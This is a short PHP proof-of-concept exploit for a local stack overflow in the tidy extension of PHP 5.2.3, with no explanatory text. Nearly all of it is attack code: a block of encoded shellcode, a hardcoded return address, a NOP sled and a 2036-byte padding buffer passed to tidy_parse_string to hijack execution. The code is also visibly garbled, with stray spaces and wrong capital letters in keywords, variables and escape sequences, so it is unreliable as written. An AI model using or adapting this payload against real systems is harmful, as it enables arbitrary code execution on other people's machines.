PHP 5.2.3 local overflow vulnerability of tidy Extension

<? PHP

If (! Extension_loaded ("Tidy") {die ("You need tidy extension loaded! ");}

$ Scode =
"\ Xfc \ xbb \ xc7 \ xc4 \ x05 \ xc9 \ xeb \ x0c \ x5e \ x56 \ x31 \ x1e \ XAD \ x01 \ xc3 \ x85 ".
"\ Xc0 \ x75 \ xf7 \ xc3 \ xe8 \ XeF \ xFF \ x3b \ x2c \ x41 \ xc9 \ xc3 \ XAD \ xc1 ".
"\ X8c \ xFF \ X26 \ xa9 \ x0b \ x87 \ x39 \ xbd \ x9f \ x38 \ x22 \ xca \ xFF \ xe6 \ x53 \ x27 ".
"\ XB6 \ x6d \ x67 \ x3c \ x48 \ x9f \ xb9 \ x82 \ xd2 \ xf3 \ x3e \ xc2 \ x91 \ x0c \ xfe \ x09 ".
"\ X54 \ x13 \ xc2 \ X65 \ x93 \ x28 \ x96 \ x5d \ x58 \ x3b \ xf3 \ x15 \ x3f \ xe7 \ xfa \ xc2 ".
"\ XA6 \ x6c \ xf0 \ x5f \ xac \ x2d \ x15 \ x61 \ x59 \ x5a \ x39 \ xea \ x9c \ xb7 \ xcb \ xb0 ".
"\ Xba \ x43 \ x0f \ x79 \ x03 \ x2f \ x04 \ x3a \ xb3 \ x2a \ xda \ xc3 \ xbf \ x9b \ x3f ".
"\ X4b \ xcf \ x07 \ xed \ xc0 \ x47 \ x30 \ x06 \ xdf \ x1c \ xc0 \ x68 \ xe0 \ x22 \ xc1 \ x03 ".
"\ X89 \ x1e \ x9e \ x22 \ xbc \ x3e \ x76 \ Xcc \ xb8 \ X3D \ xB6 \ xb5 \ x68 \ x29 \ xc7 \ xc0 ".
"\ X8d \ xf6 \ x4f \ x4d \ x73 \ x82 \ x9e \ x3a \ x73 \ x75 \ XFD \ xa9 \ XeF \ x57 \ x67 \ x4a ".
"\ X95 \ x87 \ x48 \ xc9 \ x75 \ xa9 \ xf3 \ x79 \ x56 \ X40 \ x8f \ xe4 \ xe4 \ x8a \ x1d \ x86 ".
"\ X71 \ xa2 \ xd5 \ x2b \ xa2 \ X40 \ x77 \ xd5 \ xca \ x90 \ x14 \ x05 \ x24 \ x99 \ x9e \ x01 ".
"\ X1a \ x3f \ x39 \ xAA \ x34 \ x5a \ x31 \ x8a \ Xa4 \ xcb \ xda \ XAB \ x58 \ x74 \ x6f \ x43 ".
"\ Xd4 \ x0a \ xaf \ xda \ x72 \ x87 \ xc6 \ XB2 \ x13 \ x24 \ x6d \ x39 \ x85 \ xbe \ xe2 \ xcf ".
"\ X36 \ x1e \ x8f \ x4e \ xc0 \ x36 \ x5b \ xf2 \ X12 \ xe9 \ xe2 \ xb0 \ x16 \ xf5 \ xe4 \ x38 ".
"\ X97 \ xf5 \ xe4 \ x38 \ x97 ";

$ EIP = "\ xd8 \ x69 \ x83 \ x7c ";
$ NOP = str_repeat ("\ x90", 12 );
$ ____ Buff = str_repeat ("A", 2036). $ EIP. $ NOP. $ scode;
Tidy_parse_string (1, $ ____ buff, 1 );
?>